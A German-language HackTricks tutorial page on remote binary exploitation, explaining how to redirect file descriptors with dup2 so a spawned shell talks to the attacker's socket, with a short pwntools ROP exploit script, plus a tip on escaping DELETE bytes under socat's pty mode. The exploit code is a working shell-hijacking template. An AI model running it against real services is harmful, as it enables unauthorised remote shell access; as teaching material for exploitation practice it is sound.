Common Exploiting Problems

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

FDs in der Remote-Exploitation

Wenn ein Exploit an einen Remote-Server gesendet wird, der beispielsweise system('/bin/sh') aufruft, wird dies im Serverprozess ausgeführt, und /bin/sh erwartet Eingaben von stdin (FD: 0) und gibt die Ausgaben in stdout und stderr (FDs 1 und 2) aus. Der Angreifer kann also nicht mit der Shell interagieren.

Eine Möglichkeit, dies zu beheben, besteht darin anzunehmen, dass der Server beim Start den FD-Nummer 3 (zum Lauschen) erstellt hat und dass dann deine Verbindung in der FD-Nummer 4 sein wird. Daher ist es möglich, den Syscall dup2 zu verwenden, um stdin (FD 0) und stdout (FD 1) in FD 4 (die des Angreifers) zu duplizieren, sodass es möglich wird, mit der Shell zu kommunizieren, sobald sie ausgeführt wird.

Exploit-Beispiel von hier:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Beachten Sie, dass socat bereits stdin und stdout an den Socket überträgt. Der pty-Modus enthält DELETE-Zeichen. Wenn Sie also ein \x7f ( DELETE -) senden, wird das vorherige Zeichen Ihres Exploits gelöscht.

Um dies zu umgehen, muss das Escape-Zeichen \x16 vor jedem gesendeten \x7f hinzugefügt werden.

Hier können Sie ein Beispiel für dieses Verhalten finden.

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated